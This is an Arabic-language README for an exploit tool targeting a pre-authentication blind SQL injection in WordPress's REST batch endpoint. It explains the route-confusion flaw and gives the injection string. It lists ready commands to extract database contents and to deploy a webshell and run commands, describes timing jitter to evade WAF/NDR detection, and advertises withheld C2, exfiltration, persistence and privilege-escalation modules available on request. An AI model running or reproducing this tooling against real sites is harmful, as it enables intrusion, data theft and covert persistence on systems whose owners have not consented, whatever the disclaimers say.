نسخة معدّلة بالكامل لفريق الهجوم (الأمن الهجومي) من wp2shell، تم بناؤها لأغراض اختبار الاختراق المصرّح به والتعليم.
برهان مفهوم مستقل لثغرة SQLi عمياء غير موثقة يمكن الوصول إليها من خلال نقطة نهاية الباتش في REST لووردبريس (/wp-json/batch/v1). إنه تطبيق مستقل مبني على آليات الثغرة المنشورة.
الاستشارة الرسمية: إصدار أمان ووردبريس | CVE-2026-63030
المؤلف: J4ck3LSyN
الجهات: CFSD، NFK و C4b1NKr3W
ملاحظة: لم أقم بتضمين هذا الأداة مع زرع
r00t.pyالمسلح المرتبط بها لأسباب قانونية واضحة. للحصول عليها، يمكنك مراسلتي على x
[!WARNING]
يتم توفير هذا الكود "كما هو" لأغراض تعليمية وبحثية فقط. لا تستخدم هذا البرهان على أنظمة الإنتاج أو البيئات المشتركة أو أي أهداف غير مصرح بها.
- قد يؤدي تشغيل أو استضافة هذا الكود إلى تنشيط اكتشافات مكافحة الفيروسات أو تنبيهات مراقبة الأمان أو عواقب قانونية إذا أُسيء استخدامه.
- المؤلفون ومشرفو المستودع لا يتحملون أي مسؤولية عن أي ضرر أو إساءة استخدام أو نشاط غير قانوني ناتج عن هذا الكود.
- استخدمه حصريًا في بيئات معزولة وبإذن مناسب. مخصص للبحث الدفاعي وتحليل الثغرات واختبار الفرق الزرقاء فقط.
poc.py - واجهة سطر الأوامر الرئيسية لبرهان المفهوم (أوضاع: فحص، قراءة، شل)val.py - مدقق ثغرة خفيف وسلبي (val.py <target>)MITIGATIONS.md - دليل شامل للتخفيف والتحصينLETHALITY.html - مصفوفة القدرات المميتة المرئية (خريطة حرارية + سلسلة قتل)LICENSE - ترخيص MITr00t.py:ملغى - منسق الزرع الرئيسي (يربط كل شيء معًا)modules/ - وحدات الزرع بعد الاستغلالexploit.py - منطق الاستغلال الأساسي (SQLi + بدائية RCE)privesc.py:ملغى - فحوصات رفع الامتيازات المحلية (DirtyCOW، sudo، capabilities، إلخ)lpe_byond.py:ملغى - رفع امتيازات متقدم باستخدام BYOVD + تقنيات eBPF (مقيد بالمشغل)recon.py:ملغى - التنميط وجمع المعلومات عن المضيفpersistence.py:ملغى - آليات الثبات (systemd، cron، مفاتيح SSH)c2.py:ملغى - منارة C2 مشفرة (HTTPS + DoH)exfil.py:ملغى - جمع بيانات الاعتماد والاستخراجstealth.py:ملغى - مكافحة التحليل، اكتشاف الصندوق الرملي، والإخفاء| الفرع | الإصدارات المتأثرة | تم الإصلاح في |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
راجع إصدارات أمان ووردبريس الرسمية للحصول على التفاصيل.
تقوم نقطة نهاية الباتش بتوزيع عدة طلبات فرعية في استدعاء واحد، وتتحقق من صلاحيات كل منها بشكل مستقل. عندما يفشل مسار طلب فرعي في wp_parse_url()، يتم إلحاقه بمصفوفة التحقق ولكن ليس بمصفوفة المعالج المطابق. يختل ترتيب المصفوفتين، ويتم توزيع طلب فرعي لاحق تحت معالج طلب فرعي مختلف. هذا هو الالتباس في المسار.
يستخدم هذا البرهان البدائية مرتين:
POST /wp/v2/posts الذي يحمل جسم requests تحت معالج الباتش نفسه. وبما أنه تم التحقق منه كطلب منشورات، فإن قائمته الداخلية requests لا يتم إعادة فحصها مقابل مخطط الباتش، لذا يمكن للطلبات الفرعية الداخلية استخدام GET (تجاوز قائمة السماح بالطرق).GET /wp/v2/users الذي يحمل author_exclude=... تحت posts get_items(). لا يحتوي مخطط مجموعة المستخدمين على معامل author_exclude، لذا تمر القيمة دون تغيير بعد التحقق. يقوم posts get_items() بتعيين author_exclude إلى متغير استعلام WP_Query author__not_in، والذي تقوم الإصدارات الضعيفة بإقحامه في SQL كسلسلة نصية خام.النقطة النهائية هي SQL injection أعمى قائم على الزمن/المنطق قبل التوثيق:
... post_author NOT IN (<value>) ...
قيمة مثل 0) <sql>-- - تغلق قائمة IN() وتلحق SQL اعتباطيًا.
برهان المفهوم مغلق عند الفشل. ثلاث بوابات تشغيلية تمنع التنفيذ العرضي أو خارج النطاق. جميعها مفروضة في modules/exploit.py؛ واجهة سطر الأوامر في poc.py فقط تقوم بتوصيلها.
| العلم | النطاق | التأثير عند الغياب |
|---|---|---|
--authorized | جميع I/O الشبكة | AuthorizationError قبل أي إرسال |
--noop | جميع الأوامر الفرعية | بناء/طباعة الحمولات؛ لا اتصال شبكي |
--max-requests | BatchClient | حد صارم للطلبات |
--r00t | الأمر الفرعي shell | قدرات RCE بعد التوثيق محجوبة |
AuthorizationError في BatchClient._ensure_authorized() و AdminSession._ensure_authorized() و AdminSession._ensure_r00t().BatchClient._count() يفرض --max-requests قبل فتح المقبس.--r00t هو فاصل القدرات: بناء يتم شحنه بدونه لا يمكنه نشر أو تنفيذ شل ويب.معالجة بيانات الاعتماد لـ shell: يتم حل اسم المستخدم وكلمة مرور المسؤول من --user / --password، أو متغيرات البيئة / ملف آمن.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # فحص أساسي
المتطلبات: Python 3.11+، المكتبة القياسية فقط (لا تبعيات pip).
python3 poc.py <command> <url> [flags]
الأعلام المشتركة (جميع الأوامر الفرعية):
--authorized تؤكد أنك تملك/مصرح لك باختبار <url>. مطلوب للإرسال.
--noop بناء/التحقق من الحمولات دون إرسال (لا اتصال شبكي).
--max-requests N حد أقصى صارم لعدد الطلبات إلى الهدف.
--rest-route استخدام /?rest_route=/batch/v1 بدلاً من /wp-json/batch/v1.
--timeout FLOAT مهلة الطلب (الافتراضي 30).
--proxy URL وكيل HTTP(S).
--insecure تعطيل التحقق من شهادة TLS.
check - تأكيد الثغرة (غير مدمر)read - استخراج SQL أعمىshell - مساعد شل ويب بعد التوثيق (يتطلب --r00t)validate - معرف سلبيمرجع سريع
| الهدف | الأمر |
|---|---|
| معاينة حمولات الفحص | python3 poc.py check <url> --noop |
| تأكيد الثغرة | python3 poc.py check <url> --authorized |
| إثبات زمني نشط | ... check <url> --authorized --confirm-sqli |
| معاينة حمولات SQLi | python3 poc.py read <url> --noop --query "SELECT @@version" |
| استخراج بيانات | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| معاينة أثر شل الويب | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| نشر + تنفيذ (مصرح به) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| مسح سلبي | python3 poc.py validate <url> --authorized |
توثيق كامل للأوامر متاح في الأقسام التفصيلية الأصلية (أو قم بتشغيل python3 poc.py --help).
jitter) وقيم SLEEP متنوعة لكل عينة تتجاوز تحليلات السلوك الثابتة WAF/NDR.وحدات ما بعد الاستغلال (
recon،privesc،exfil،persistence،stealth،c2،lpe_byond) وr00t.pyتشكل سلسلة زرع منفصلة ليست جزءًا من برهان المفهوم المواجه للشبكة ويتم استبعادها عمدًا من الصيغ المشتركة. إنها خارج نطاق هذا المستند.
هذا المشروع مرخص بموجب رخصة MIT. راجع LICENSE للتفاصيل.
إخلاء مسؤولية: استخدم فقط على الأنظمة التي تملكها أو مصرح لك صراحة باختبارها. المؤلفون لا يتحملون أي مسؤولية عن أي إساءة استخدام.